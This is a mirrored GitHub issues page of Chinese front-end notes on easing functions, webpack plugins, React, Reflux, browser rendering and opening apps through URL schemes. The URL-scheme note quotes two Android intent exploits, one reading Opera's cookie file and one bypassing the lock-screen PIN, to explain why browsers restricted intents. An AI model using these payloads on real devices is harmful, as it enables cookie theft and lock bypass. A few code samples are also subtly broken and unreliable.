Giter Club home page Giter Club logo

blog's People

Contributors

huangsy avatar

Watchers

 avatar  avatar

Forkers

homezhan

blog's Issues

git学习笔记

git push、git pull 默认分支设置

git config —global push.default current
git branch —set-upstream-to=origin/daily/0.0.3 daily/0.0.3

插件式组件开发

插件系统

插件的定义是一种遵循一定规范的应用程序接口编写出来的程序。

常用的缓动函数

    tween: {
        easeInQuad: function(pos){
            return Math.pow(pos, 2);
        },

        easeOutQuad: function(pos){
            return -(Math.pow((pos-1), 2) -1);
        },

        easeInOutQuad: function(pos){
            if ((pos/=0.5) < 1) return 0.5*Math.pow(pos,2);
            return -0.5 * ((pos-=2)*pos - 2);
        },

        easeInCubic: function(pos){
            return Math.pow(pos, 3);
        },

        easeOutCubic: function(pos){
            return (Math.pow((pos-1), 3) +1);
        },

        easeInOutCubic: function(pos){
            if ((pos/=0.5) < 1) return 0.5*Math.pow(pos,3);
            return 0.5 * (Math.pow((pos-2),3) + 2);
        },

        easeInQuart: function(pos){
            return Math.pow(pos, 4);
        },

        easeOutQuart: function(pos){
            return -(Math.pow((pos-1), 4) -1)
        },

        easeInOutQuart: function(pos){
            if ((pos/=0.5) < 1) return 0.5*Math.pow(pos,4);
            return -0.5 * ((pos-=2)*Math.pow(pos,3) - 2);
        },

        easeInQuint: function(pos){
            return Math.pow(pos, 5);
        },

        easeOutQuint: function(pos){
            return (Math.pow((pos-1), 5) +1);
        },

        easeInOutQuint: function(pos){
            if ((pos/=0.5) < 1) return 0.5*Math.pow(pos,5);
            return 0.5 * (Math.pow((pos-2),5) + 2);
        },

        easeInSine: function(pos){
            return -Math.cos(pos * (Math.PI/2)) + 1;
        },

        easeOutSine: function(pos){
            return Math.sin(pos * (Math.PI/2));
        },

        easeInOutSine: function(pos){
            return (-.5 * (Math.cos(Math.PI*pos) -1));
        },

        easeInExpo: function(pos){
            return (pos==0) ? 0 : Math.pow(2, 10 * (pos - 1));
        },

        easeOutExpo: function(pos){
            return (pos==1) ? 1 : -Math.pow(2, -10 * pos) + 1;
        },

        easeInOutExpo: function(pos){
            if(pos==0) return 0;
            if(pos==1) return 1;
            if((pos/=0.5) < 1) return 0.5 * Math.pow(2,10 * (pos-1));
            return 0.5 * (-Math.pow(2, -10 * --pos) + 2);
        },

        easeInCirc: function(pos){
            return -(Math.sqrt(1 - (pos*pos)) - 1);
        },

        easeOutCirc: function(pos){
            return Math.sqrt(1 - Math.pow((pos-1), 2))
        },

        easeInOutCirc: function(pos){
            if((pos/=0.5) < 1) return -0.5 * (Math.sqrt(1 - pos*pos) - 1);
            return 0.5 * (Math.sqrt(1 - (pos-=2)*pos) + 1);
        },

        easeOutBounce: function(pos){
            if ((pos) < (1/2.75)) {
                return (7.5625*pos*pos);
            } else if (pos < (2/2.75)) {
                return (7.5625*(pos-=(1.5/2.75))*pos + .75);
            } else if (pos < (2.5/2.75)) {
                return (7.5625*(pos-=(2.25/2.75))*pos + .9375);
            } else {
                return (7.5625*(pos-=(2.625/2.75))*pos + .984375);
            }
        },

        easeInBack: function(pos){
            var s = 1.70158;
            return (pos)*pos*((s+1)*pos - s);
        },

        easeOutBack: function(pos){
            var s = 1.70158;
            return (pos=pos-1)*pos*((s+1)*pos + s) + 1;
        },

        easeInOutBack: function(pos){
            var s = 1.70158;
            if((pos/=0.5) < 1) return 0.5*(pos*pos*(((s*=(1.525))+1)*pos -s));
            return 0.5*((pos-=2)*pos*(((s*=(1.525))+1)*pos +s) +2);
        },

        elastic: function(pos) {
            return -1 * Math.pow(4,-8*pos) * Math.sin((pos*6-1)*(2*Math.PI)/2) + 1;
        },

        swingFromTo: function(pos) {
            var s = 1.70158;
            return ((pos/=0.5) < 1) ? 0.5*(pos*pos*(((s*=(1.525))+1)*pos - s)) :
            0.5*((pos-=2)*pos*(((s*=(1.525))+1)*pos + s) + 2);
        },

        swingFrom: function(pos) {
            var s = 1.70158;
            return pos*pos*((s+1)*pos - s);
        },

        swingTo: function(pos) {
            var s = 1.70158;
            return (pos-=1)*pos*((s+1)*pos + s) + 1;
        },

        bounce: function(pos) {
            if (pos < (1/2.75)) {
                return (7.5625*pos*pos);
            } else if (pos < (2/2.75)) {
                return (7.5625*(pos-=(1.5/2.75))*pos + .75);
            } else if (pos < (2.5/2.75)) {
                return (7.5625*(pos-=(2.25/2.75))*pos + .9375);
            } else {
                return (7.5625*(pos-=(2.625/2.75))*pos + .984375);
            }
        },

        bouncePast: function(pos) {
            if (pos < (1/2.75)) {
                return (7.5625*pos*pos);
            } else if (pos < (2/2.75)) {
                return 2 - (7.5625*(pos-=(1.5/2.75))*pos + .75);
            } else if (pos < (2.5/2.75)) {
                return 2 - (7.5625*(pos-=(2.25/2.75))*pos + .9375);
            } else {
                return 2 - (7.5625*(pos-=(2.625/2.75))*pos + .984375);
            }
        },

        easeFromTo: function(pos) {
            if ((pos/=0.5) < 1) return 0.5*Math.pow(pos,4);
            return -0.5 * ((pos-=2)*Math.pow(pos,3) - 2);
        },

        easeFrom: function(pos) {
            return Math.pow(pos,4);
        },

        easeTo: function(pos) {
            return Math.pow(pos,0.25);
        },

        linear:  function(pos) {
            return pos
        },

        sinusoidal: function(pos) {
            return (-Math.cos(pos*Math.PI)/2) + 0.5;
        },

        reverse: function(pos) {
            return 1 - pos;
        },

        mirror: function(pos, transition) {
            transition = transition || tween.sinusoidal;
            if(pos<0.5)
                return transition(pos*2);
            else
                return transition(1-(pos-0.5)*2);
        },

        flicker: function(pos) {
            var pos = pos + (Math.random()-0.5)/5;
            return tween.sinusoidal(pos < 0 ? 0 : pos > 1 ? 1 : pos);
        },

        wobble: function(pos) {
            return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5;
        },

        pulse: function(pos, pulses) {
            return (-Math.cos((pos*((pulses||5)-.5)*2)*Math.PI)/2) + .5;
        },

        blink: function(pos, blinks) {
            return Math.round(pos*(blinks||5)) % 2;
        },

        spring: function(pos) {
            return 1 - (Math.cos(pos * 4.5 * Math.PI) * Math.exp(-pos * 6));
        },

        none: function(pos){
            return 0
        },

        full: function(pos){
            return 1
        }
    }

IE8下不支持window.onmousewheel

IE8下不支持window.onmousewheel,但document.onmousewheel是支持的,document的dom event比window多。从定义来看,window指的是整个浏览器窗口,document是window的一个属性,指的是整个页面文档,所以一般对文档绑定事件,只要绑在document下即可。

如何自定义一个 webpack 插件

webpack 提供了丰富的插件系统,并且支持自定义插件,当 webpack 提供的插件无法满足需求的时候,就需要自定义一个 webpack 插件。要想自定义一个 webpack 插件,首先需要了解 webpack 的生命周期。

webpack 生命周期

1. 初始化配置项

将 webpack.config.js 中的配置项保存到 webpack 的编译器 compiler 中。

2. 初始化所有的插件

根据配置项初始化部分内置插件,按照 webpack.config.js 中定义的 plugins 数组的先后顺序初始化插件。

3. 执行编译

创建编译器实例 compilation,对代码进行编译。

4. 生成文件

编译结束后,将编译后的代码生成到配置项中设置的目录中。

为什么要了解生命周期呢?插件的实质就是在 webpack 编译的不同阶段绑定一些事件。

事件钩子(Event Hook)

什么是钩子?钩子其实就是生命周期中的一个个里程点,比如编译开始会触发 "before-compile" 的钩子,编译结束会触发 "after-compile" 的钩子。webpack 的钩子非常多,所有的钩子类型及执行顺序可以参考 Event Hook 的文档。下面举几个简单的例子:

名称 描述 参数 类型
before-compile 编译开始前,生成编译器需要的参数 compilation 的参数 异步
compilation 编译器实例创建成功 compilation 同步
make 开始编译 compilation 并行
after-compile 编译结束 compilation 异步
emit 准备生成文件到输出的目录 compilation 异步
after-emit 输出目录结束 compilation 异步

钩子类型

钩子的类型大致可以分为同步、瀑布流和异步三种。

同步(synchronous)

顾名思义,相同的钩子按照绑定的顺序依次执行。

瀑布流(waterfall)

瀑布流类型是同步的变种,前一个钩子的返回值会作为后一个钩子的参数。

异步(asynchronous)

异步类型则是按照钩子的绑定顺序同时执行。

小结

以上是在自定义 webpack 插件前必须了解的基础知识,下面就可以开始自定义 webpack 插件了。

插件基本结构

    class MyCustomPlugin {
        apply(compiler) {
            ...
        }
    }

插件的结构很简单,只需要实现一个 apply 方法即可,apply 方法会在初始化插件的时候执行,自定义插件中需要做的事情就是对钩子进行绑定事件,比如我要统计编译过程总共花了多长时间:

    class MyCustomPlugin {
        apply(compiler) {
            var start = 0;
            compiler.plugin('before-compile', (compilation, callback) => {
                // 编译开始前记录时间
                start = +new Date
                // callback 必须调用,否则不会往下执行
                callback();
            });
            compiler.plugin('after-compile', (compilation, callback) => {
                var time = +new Date - start;
                console.log(`编译过程总共用时${time}`);
            });
        }
    }

compiler.plugin 可以理解为事件绑定中的 on,钩子则是在不同的阶段 trigger 对应的事件。最后只要将插件导出,在 webpack 的配置文件中就能使用了。

    // MyCustomPlugin.js
    class MyCustomPlugin {
        ...
    }
    module.exports = MyCustomPlugin

    // webpack.config.js
    var MuCustomPlugin = require('./plugins/MyCustomPlugin');
    module.exports = {
        ...
        plugins: [
            new MyCustomPlugin();
        ]
    }
    

js数组的一个坑

直接看代码:

var obj = {
arr: [],
get: function(){ console.log(this.arr); },
set: function(arr){ this.arr = arr; }
}
var arr = [1,2,3];
obj.set(arr);
obj.get(); // output: [1,2,3]
// Attention now!
obj.arr.pop();
obj.get(); // output: [1,2]
console.log(arr); // what is the output?

输出结果是[1,2,3]?错!
正确的结果是:[1,2]

原因:因为js数组是引用传递,this.arr = arr这行代码导致this.arr的值改变的时候,arr也会跟着改变!

解决方案只要对数组拷贝一下即可,吧set方法改成function(arr){ this.arr = arr.slice(0); }即可。

纠结了我一个下午的bug = =!活到老,学到老……

Custom URL Scheme

iframe

实现方式:

var iframe = document.createElement('iframe');
iframe.style.cssText = 'display:none';
window.document.body.appendChild(iframe);
iframe.setAttribute('src', url);

为什么要用iframe而不用location.href?

  1. 呼起app应该是静默操作,而在未安装应用的时候,使用location.href会弹出“该网址无效”的提示,会打断用户的操作,影响用户体验;
  2. 使用iframe能保持与当前页面的逻辑相独立,不会相互冲突,因此在当前页面不会有任何提示,用户不会有感知。

iframe的兼容性?

  1. 在ios9的safari和android的chrome下无法触发;
  2. 在ios的chrome下无法自动触发。

iframe为什么在ios9的safari下无法触发?

  1. ios9实现了universal links(通用链接),可以通过URL scheme启动应用,可能会与iframe下的custom URL Scheme冲突。

可以参考:iOS 9 safari iframe src with custom url scheme not working

使用location.href还是location.replace?

两者的区别在于:

  1. location.href会产生一次跳转,history会记录上一个页面,如果用location.href做自动跳转,将会导致返回上一页循环跳转。
  2. location.replace会做一次重定向,history不会记录上一个页面,如果用location.replace,将再也返回不了上一个页面。

chrome的intent

chrome在18以前支持iframe的跳转,但25以后,就不再支持了。可以参考:Android Intents with Chrome

intent的格式:

intent:
   HOST/URI-path // Optional host 
   #Intent; 
      package=[string]; 
      action=[string]; 
      category=[string]; 
      component=[string]; 
      scheme=[string]; 
   end; 

intent的优势

  1. 在所有android下的chrome都支持点击触发;
  2. 提供一个S.browser_fallback_url的参数,可以实现如果应用程序无法打开,跳转到一个指定页面,如安装页面或h5页面。

intent的安全性

可能因为intent存在一些漏洞,chrome把自动触发的intent都屏蔽了。

盗取opera下的cookie

<script>
    location.href = "intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;c
omponent=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end";
</script>

qq浏览器下设置绕过Pin码

<a href="intent:#Intent;action=android.settings.SETTINGS;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;end">
   设置绕过Pin码(android 3.0-4.3)
</a>

因为存在很多漏洞,qq浏览器把所有的intent的用法都去掉了。

更多可以参考:

结论

  1. 在ios的safari下不应该使用location.href,ios9除外,因为ios9只能用location.href实现;
  2. 能自动触发尽量自动触发,所以在ios下的chrome应该使用location.href实现,因为iframe无法实现自动触发;
  3. android的chrome下使用intent

天猫和手淘的比较

天猫 手淘
ios9.1 safari location.href = 'tmall://' anchor = 'taobao://'
ios9.1 chrome location.href = 'tmall://' iframe = 'taobao://'
ios8.2 safari iframe.src = 'tmall://' iframe.src = 'taobao://'
ios8.2 chrome iframe.src = 'tmall://' iframe.src = 'taobao://'
安卓4.4.2 chrome location.href = 'intent://' location.href = 'intent://'
安卓4.4.2 native iframe.src = 'tmall://' iframe.src = 'taobao://'
安卓6.0 chrome location.href = 'intent://' location.href = 'intent://'

测试记录

A. anchor
B. location.href
C. window.open
D. iframe

ios9 safari
  • 手动触发: A, B
  • 自动触发: A, B
  • 未安装:
    • A: 提示网址无效
    • B: 提示网址无效
    • C: 打开空页面
    • D: 无反应
ios9 chrome
  • 手动触发: A, B, C, D
  • 自动触发: A, B, C(提示)
  • 未安装:
    • A: 无反应
    • B: 无反应
    • C: 打开空白页面
    • D: 无反应
ios8 safari
  • 手动触发: A, B, C, D
  • 自动触发: A, B, D
  • 未安装:
    • A: 提示网址无效
    • B: 提示网址无效
    • C: 打开新页面,提示网址无效
    • D: 无反应
ios8 chrome
  • 手动触发: A, B, C, D
  • 自动触发: A, B, C(提示)
  • 未安装:
    • A: 无反应
    • B: 无反应
    • C: 打开空白页面
    • D: 无反应
android chrome
  • 手动触发: A, B, C
  • 自动触发: C(提示)
  • 未安装:
    • A: 无反应
    • B: 无反应
    • C: 打开空白页面
    • D: 无反应

项目开发的一些思考

总结一些做项目过程中的思考方式

了解产品背景

做项目之前,需要对产品背景进行分析,想清楚为什么要做这个产品。首先要知道目标用户的特点,这个产品能给用户带来什么价值,如果不清楚或者没有什么价值就不值得做。

树立项目目标

每个项目都需要投入很多资源,为了不白干,在投入前期,需要对项目树立目标。首先要清楚产品的目标,用户量大概是多少,确认这些目标数据的统计方式(埋点等)。然后制定自己的目标,是否可以沉淀通用的、可以产品化的工具、组件等。

规划代码结构

做项目最忌没构思清楚就开始写代码,可能一开始会比较顺,当代码量越来越大的时候,就会慢慢变得难以维护,可能需要花时间做重构,整理代码。所以在写代码之前需要把整体架构搭好。首先要选择好工具,react 还是 vue,要有能选择合适的工具,需要对他们的特点做深入的研究,比如 react 的 fiber 架构,适合 react 的单数据流还是 vue 的双向绑定,分析两者的优缺点,结合项目来选择。然后分析使用单页还是多页,单页适合模块之间需要频繁通信,缺点是不利于seo优化,容易资源不释放导致内存泄漏。如果选择单页需要考虑路由如何管理,当页面不展示如何释放资源,页面是否需要seo优化,如果需要如何能让爬虫顺利对页面进行抓取。接下来需要考虑代码容错性,尽量不要让一个模块的报错影响其他模块,对页面报错进行日志收集。最后分析页面需要哪些数据,分别谁来提供,数据适合采用同步还是异步的方式,核心数据可以采用同步方式,非核心数据尽量使用异步,防止不重要的后端接口挂了影响到整个页面的使用。

重写

当我们需要的工具没法满足需求,可以尝试对工具进行重写。例如 react 的**是把一个组件当成一次函数调用,数据作为函数的入参,返回值就是由数据组装成的 DOM 节点。js 本身就在一个事件循环中执行,哪些方法需要优先执行哪些需要延后执行没办法控制,所以 react 通过浏览器提供的 requestAnimationFrame(执行优先级高的逻辑)和 requestIdleCallback(浏览器空闲时候执行)方法来重新定义调用栈,可以保证整个渲染过程是可控的。好的产品对细节把控都需要有追求极致的态度,当别人提供的资源没法满足需求时,就只能自己重新做。

编码

没什么好说的,写代码不需要过多的思考,只要按照确定的设计方案来做,如果需要思考,说明前期的准备工作做的不够好。

复盘

项目上线后需要对整个项目过程进行复盘和总结,产出一些后面项目需要优化的点。通过埋点、用户调查来看是否能达到产品的预期,如果不能则分析原因。

React 组件间通信

React 组件间通信

一个简单的例子

有一个 Timer 组件,Timer 组件包含 Hours、Minutes 和 Seconds 三个子组件,分别控制小时、分钟和秒的计数。满足以下需求:

  1. 当 Seconds 组件的计数达到60时,需要通知 Minutes 更新;
  2. 当 Minutes 组件的计数达到60时,需要通知 Hours 更新。

我们很容易写出整个 Timer 组件的结构:

<Timer>
    <Hours />
    <Minutes />
    <Seconds />
</Timer>

如何实现组件间通信?

首先我们可以考虑使用 props:

Hours、Minutes、Seconds分别有一个属性time,用来存当前计数

<Timer>
    <Hours time="0" />
    <Minutes time="0" />
    <Seconds time="0" />
</Timer>

可以将当前时间存在 Timer 的 state 中

var Timer = React.createClass({
    getInitialState: function () {
        var now = new Date();
        return {
            hours: now.getHours(),
            minutes: now.getMinutes(),
            seconds: now.getSeconds()
        };
    },
    ...
});

<Timer>
    <Hours time={this.state.hours} />:
    <Minutes time={this.state.minutes} />:
    <Seconds time={this.state.seconds} />
</Timer>

这样就把当前时间显示出来了

Seconds 组件实现一个简单的计时器

var Seconds = React.createClass({

    // 将初始化的time属性的值存到state中
    getInitialState: function () {
        return {
            time: this.props.time
        }
    },

    componentDidMount: function () {
        var time;

        // 每秒钟更新一次
        setInterval(function () {
            time = this.state.time;
            this.setState({
                time: time < 59 ? time + 1 : 0
            });
            // TODO: 此处当计数到60时,需要向外部发送一条消息
        }.bind(this), 1000);
    },

    render: function () {
        var time = this.state.time;
        time = time < 10 ? '0' + time : time
        return <span>{time}</span>
    }
});

如何发送消息?

我们很容易想到加入一个全局的事件机制,React文档 Communicate Between Components 中也提到:

For communication between two components that don't have a parent-child relationship, you can set up your own global event system.

我们也可以使用 Reflux 中的 ListenerMethods,如 The Reflux data flow model 这篇文章所提到的方式。

是否可以不引入全局事件?

既然 time 可以实现 Timer 传入 Seconds 中,那是否可以使用 props 呢?

我们可以尝试在 props 上定义一个 notify 属性,并在 Timer 中定义相应的方法

...
notifyMinutes: function () {

},
notifyHours: function () {

},
...

<Timer>
    <Hours time={this.state.hours} />:
    <Minutes time={this.state.minutes} notify={this.notifyHours} />:
    <Seconds time={this.state.seconds} notify={this.notifyMinutes} />
</Timer>

当 Seconds 组件计数达到60时,发送一条消息

this.props.notify({});

在 Timer 中就能接收到 Seconds 的消息了

如何通知其他组件?

Timer 如何通知 Minutes 和 Seconds 呢?

很简单,只要重新渲染,更新 time 的值即可

notifyMinutes: function () {
    var minutes = this.state.minutes;
    this.setState({
        minutes: minutes + 1
    });
},
notifyHours: function () {
    var hours = this.state.hours;
    this.setState({
        hours: hours + 1
    });
}

至此,即可通过 props 实现组件间通信

存在一些问题

Seconds 和 Minutes 同时发 notify 的时候会多次执行 setState,会导致一个错误

Uncaught Error: Invariant Violation: setState(...): Cannot update during an existing state transition (such as within render). Render methods should be a pure function of props and state.

如何解决

未完待续...

《浏览器的工作原理》笔记

原文地址:http://www.html5rocks.com/zh/tutorials/internals/howbrowserswork/

渲染流程

  1. 解析HTML转换成DOM树
  2. 加入CSS的样式信息,形成新的树结构
  3. 布局,确定DOM节点的坐标
  4. 绘制DOM结构

解析HTML转换成DOM树

流程:文档 -> 词法分析 -> 语法分析 -> 解析树

HTML标签的容错机制:

  1. 自动补全不能拿直接添加的标签,如HTML、HEAD、BODY、TBODY、TR、TD、LI等
  2. inline元素中添加block元素,inline元素直接关闭

  3. 的兼容处理
  4. 离散表格,自动补全游离的TR、TD标签表格,嵌套的TABLE标签会把里面的TABLE标签的忽略
  5. 嵌套表单元素会把里面的表单元素忽略
  6. 放错的HTML或BODY的结束标记会被忽略

CSS树结构

比较复杂,采用一些优化方案:

  1. 使用共享样式上下文的方式进行缓存,减少树结构的遍历
  2. 构造CSS规则的哈希表,从哈希表中提取规则,简化规则匹配

CSS属性优先级:
P0:style属性,比重为1,0,0,0
P1:ID选择器,比重为0,1,0,0
P2:类、伪类选择器,比重为0,0,1,0
P3:标签名称,比重为0,0,0,1
P4:*,比重为0,0,0,0

布局

布局调整:
整体布局会带来性能问题,采用dirty位系统的方式进行标记需要调整布局的元素

布局处理:

  1. 父元素确定自己的宽度
  2. 父元素一次处理子元素
  1. 放置子元素
  2. 计算子元素的高度
  1. 父元素根据子元素的累积高度以及边距补白的高度来设置自身高度
  2. 将dirty位设为false

移动端meta

1. viewport,禁止缩放
<meta content="initial-scale=1,maximum-scale=1,user-scalable=no,width=device-width" name="viewport" />
2. touch-icon 在 iOS 中用于桌面图标
<link href="http://img01.taobaocdn.com/tps/i1/T1zo51XxXfXXXeOHro-144-144.png" rel="apple-touch-icon-precomposed" />
3. 从桌面icon启动 iOS Safari 是否进入全屏状态(App模式)yes | no
<meta content="yes" name="apple-mobile-web-app-capable" />
4. iOS Safari 全屏状态下的状态栏样式 default | black | black-translucent
<meta content="black-translucent" name="apple-mobile-web-app-status-bar-style" />
5. iOS 设备禁止将数字识别为可点击的tel link
<meta content="telephone=no" name="format-detection" />

内容搜索

内容搜索

优秀的组件库离不开好的文档、测试用例,以及文档搜索。搜索是文档的常用入口,当使用者忘记组件的 API 如何使用,一般都会通过文档搜索来获取 API 的具体使用方法。

基本的文档搜索

最基本的文档搜索,都可以提供对接口名进行搜索,如 backbone、lodash:

image

这种搜索实现方式比较简单,只要记住接口名,就能轻易找到对应的 API,这种方式更适合工具库的文档,但可能有些库如提供图标功能的 antv。

标题搜索

要实现搜索,首先需要一个索引文件。索引文件如何维护?手工维护索引文件内容更精确,但成本很高,每次 API 接口变更都需要修改索引文件,因此不建议手工维护。而自动维护索引文件是可以通过组件文档来生成:

  1. 遍历所有 md 文件
  2. 使用 md2html 等工具生成 html
  3. 获取 html 的标题标签内容
  4. 整合出一个 json 格式的索引文件

antv 采用的就是这种方式。因此,antv 可以实现搜素文档标题来查找 API,但会存在一个问题:

image

md 文件可能会有多个重复的标题,如何区分?

文档内容搜索

重复的标题可以通过展示内容来区分,同时也可以提供文档内容搜索。如 ice(飞冰)。

image

索引文件该如何构建?

如果还是采用生成 html 的方式,比较难区分内容和标签,ice 提供了一种解决方案:生成 jsonml 格式的内容。jsonml 的结构如下:

[
    "p",
    "我们希望中后台应用的开发能变得更高效。面向",
    [
        "strong",
        "设计者"
    ],
    "端,我们提供了 ICE Design 设计语言,来给我们的 UI 界面提供专业的视觉指导。面向",
    [
        "strong",
        "开发者"
    ]
]

数组第一项是标签名,第二项是内容,这样就将标签和内容区分开了。用 mark-twain 可以实现。通过解析 h1-h6 标签,可以生成标题,内容如何拼接?

常见标签如 p、strong 等可以进行拼接,而 li 标签则可以通过循环解析进行拼接。简单实现方式如下:

getJsonmlString(jsonml) {
  for (var result = '', index = 1; r < jsonml.length; r++) {
    if (Array.isArray(jsonml[index])) {
      result += this.getJsonmlString(jsonml[r])
    } else if (typeof jsonml[index] === 'string') {
      result += jsonml[index] + ' ';
    }
  }
  return result;
}

内容分类

虽然实现了对文章内容进行搜索,但搜索结果还是有些凌乱,可以进行进一步内容分类,如分成 API、demo、F&Q 等,使用者可以根据需求方便找到对应文档。要实现这个功能可以根据给索引文件中的标题增加类型,这也是我们后面准备做的。

移动端左右滑动

var xx,yy,XX,YY,swipeX,swipeY ;
div.addEventListener('touchstart',function(event){
xx = event.targetTouches[0].screenX ;
yy = event.targetTouches[0].screenY ;
swipeX = true;
swipeY = true ;
})
div.addEventListener('touchmove',function(event){
XX = event.targetTouches[0].screenX ;
YY = event.targetTouches[0].screenY ;
if(swipeX && Math.abs(XX-xx)-Math.abs(YY-yy)>0) //左右滑动
{
event.stopPropagation();//组织冒泡
event.preventDefault();//阻止浏览器默认事件
swipeY = false ;
//左右滑动
}
else if(swipeY && Math.abs(XX-xx)-Math.abs(YY-yy)<0){ //上下滑动
swipeX = false ;
//上下滑动,使用浏览器默认的上下滑动
}
})

javascript实现汉诺塔简单算法

今天跟一个实习生讨论了一下大学学过的算法,他让我实现一下汉诺塔的算法,这个不算难,也正好可以回顾下,代码如下

function hanoi(from, to, tmp, count){
if (count === 1) {
console.log('move from ' + from + ' to ' + to);
} else {
hanoi(from, tmp, to, count - 1);
hanoi(from, to, tmp, 1);
hanoi(tmp, to, from, count - 1);
}
}
hanoi('a', 'b', 'c', 4);

Reflux学习笔记

Reflux学习笔记

从Flux说起

Flux是Facebook用来构建客户端web应用的一个单向数据流的应用架构,它更像是一个开发模式。主要包含三个部分:分发器(Dispatcher)、存储(Stores)、视图(Views,即React组件),其结构和数据流如下图所示:

Flux image

  • Action 创建一个操作集合,调用的时候,将操作通过type的方式传给Dispatcher
  • Dispatcher 通过不同的type分发给Store
  • Store 处理数据,并将结果通过事件机制推送出去
  • View 监听Store推送的数据,做相应view层的响应

具体示例代码可以参考官方的TodoMVC demo

为什么使用Reflux

Reflux比Flux优势的地方是:

  1. 动态创建事件
  2. 不需要使用一大堆的switch语句来对action type进行处理
  3. 约定优于配置
  4. 多种事件推送方式
  5. 加入preEmit、shouldEmit两个hook
  6. 加入关联的事件监听

动态创建事件

Flux创建事件的方式是:

var TodoActions = {
  create: function () {},
  update: function () {},
  remove: function () {}
};

而Reflux只需要这样定义:

var TodoActions = Reflux.createActions([
  'create',
  'update',
  'remove'
]);

不需要使用一大堆的switch语句来对action type进行处理

Flux Dispatcher的实现方式更类似于配置的形式:

switch(action.actionType) {
  case TodoConstants.TODO_CREATE:
    ...
    break;

  case TodoConstants.TODO_UPDATE:
    ...
    break;

  case TodoConstants.TODO_REMOVE:
    ...
    break;
}

而Reflux利用约定优于配置原则,将这些swtich语句全部去除

约定优于配置

约定优于配置(convention over configuration),也称作按约定编程,是一种软件设计范式,旨在减少软件开发人员需做决定的数量,获得简单的好处,而又不失灵活性。更多信息

Reflux的实现方式是通过约定TodoActions.create会触发TodoStore.onCreate,可以在Reflux的utils模块中看到:

function capitalize(string) {
  return string.charAt(0).toUpperCase() + string.slice(1);
}

function callbackName(string, prefix) {
  prefix = prefix || "on";
  return prefix + exports.capitalize(string);
}

多种事件推送方式

Flux只实现最简单的事件推送,类似于Reflux中的trigger:

// Dispatcher
case TodoConstants.TODO_CREATE:
  TodoStore.emitChange();

// TodoStore
emitChange: function() {
  this.emit(CHANGE_EVENT);
}

而Reflux有三种事件推送方式: trigger、triggerAsync、triggerPromise,区别在于:

  • trigger 直接推送数据
  • triggerAsync 加入nextTick,在下一个事件循环中推送数据
  • triggerPromise 与triggerAsync类似,多返回一个promise给action

加入preEmit、shouldEmit两个hook

preEmit、shouldEmit都在事件推送(emit)前调用,调用顺序为

trigger -> preEmit -> shouldEmit -> emit
  • preEmit 用来在emit前做数据处理,并将处理结果传给shouldEmit
  • shouldEmit 通过判断preEmit传过来的参数决定是否推送事件

加入关联的事件监听

join这是一个很有意思的模块,Reflux定义了4种关联action的方式:

  1. joinTrailing
  2. joinLeading
  3. joinStrict
  4. joinConcat
什么叫关联action

例如定义了3个关联action:

var TodoActions = Reflux.createActions([
  'create',
  'update',
  'remove'
]);

然后在TodoStore中进行其中一种方式的关联:

var TodoStore = Reflux.createStore({
  init: function () {
    this.joinTrailing(TodoActions.create, TodoActions.update, TodoActions.remove, this.trigger);
  }
});

TodoStore.listen(function (a, b, c) {
  console.log('trigger: ', a, b, c);
});

然后触发其中某个action:

TodoActions.create('create once');

由于joinTrailing关联了create、update、remove三个action,所以需要3个action调用完才回触发trigger:

TodoActions.create('create once');
TodoActions.update('update once');
TodoActions.remove('remove once');
// trigger: ["create once"] ["update once"] ["remove once"]

这四种方式有什么区别?

joinTrailing
TodoActions.create('create once');
TodoActions.update('update once');
TodoActions.remove('remove once');
TodoActions.create('create twice');
// trigger: ["update once"] ["remove once"] ["create twice"]

第一个["create once"]丢失了,所以joinTrailing只会存最后一个数据

joinLeading
TodoActions.create('create once');
TodoActions.update('update once');
TodoActions.remove('remove once');
TodoActions.create('create twice');
// trigger: ["create once"] ["update once"] ["remove once"]

除了第一个["create once"],后面的都丢失了,所以joinLeading只会存第一个数据

joinStrict
TodoActions.create('create once');
TodoActions.update('update once');
TodoActions.create('create twice');
TodoActions.remove('remove once');

// Error
// trigger: ["create once"] ["update once"] ["remove once"]

如果是joinStrict的方式,在一个关联中的任何action只要触发两次就回报错,只会保留第一个数据

joinConcat
TodoActions.create('create once');
TodoActions.update('update once');
TodoActions.create('create twice');
TodoActions.remove('remove once');
// trigger: ["create once"] ["update once"] ["create twice"] ["remove once"]

joinConcat能把关联中的所有数据都保留下来

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.